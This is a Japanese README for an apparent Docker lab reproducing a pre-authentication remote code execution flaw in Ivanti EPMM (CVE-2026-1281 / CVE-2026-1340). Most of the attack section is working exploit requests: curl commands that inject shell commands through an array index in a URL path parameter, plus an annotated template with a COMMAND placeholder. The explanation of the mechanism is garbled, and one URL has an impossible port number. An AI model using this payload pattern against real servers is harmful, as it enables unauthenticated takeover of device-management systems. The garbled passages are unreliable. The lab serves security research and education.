
Ivanti EPMMの事前認証RCE脆弱性(CVE-2026-1281 / CVE-2026-1340)を教育およびセキュリティ研究目的で再現する方法を示すシンプルなデモアプリケーションです。
Ivanti EPMM の事前認証RCE脆弱性(CVE-2026-1281 / CVE-2026-1340)を教育およびセキュリティ研究目的で再現する方法を示す、シンプルなデモアプリケーションです。
この脆弱性は、Bash の算術展開の動作を悪用します。算術コンテキストで別の変数への参照を含む変数が使用され、その参照先の変数がコマンド置換を含む配列インデックスを持つ場合、コマンドが実行されます。
st=theValue (パディング付きのリテラル文字列 "theValue")が含まれるh=gPath[\command`]`(配列インデックス内のコマンド)が含まれるtheValue を更新するgStartTime がリテラル文字列 "theValue" に設定されるtheValue には gPath[\command`]` が含まれる[[ ${currentTime} -gt ${gStartTime} ]] が評価されるとき:
${gStartTime} → "theValue"(文字列)theValue を変数参照として扱うtheValue → gPath[\command`]`# コンテナをビルドして起動
docker-compose up --build -d
# 動作確認
curl http://localhost:8180/health
コマンド実行を証明するファイルを作成:
# URLエンコードされたペイロード: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# ファイルが作成されたか確認
cat artifacts/poc
sleep コマンドで検証:
# 応答に約5秒かかるはず
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# カスタムコンテンツを書き込む
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ ペイロード: gPath[`COMMAND`]
│ │ └─ 終了タイムスタンプ(任意の10桁)
│ └─ 重要: リテラル "theValue" + スペース2個(合計10文字)
└─ キーインデックス(任意の値)
# コンテナログを表示
docker-compose logs -f
# コンテナ内でシェルを取得
docker exec -it ivanti-epmm-vuln /bin/bash
# nginx エラーログを確認
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
これは教育および許可されたセキュリティテスト目的のみを対象としています。所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。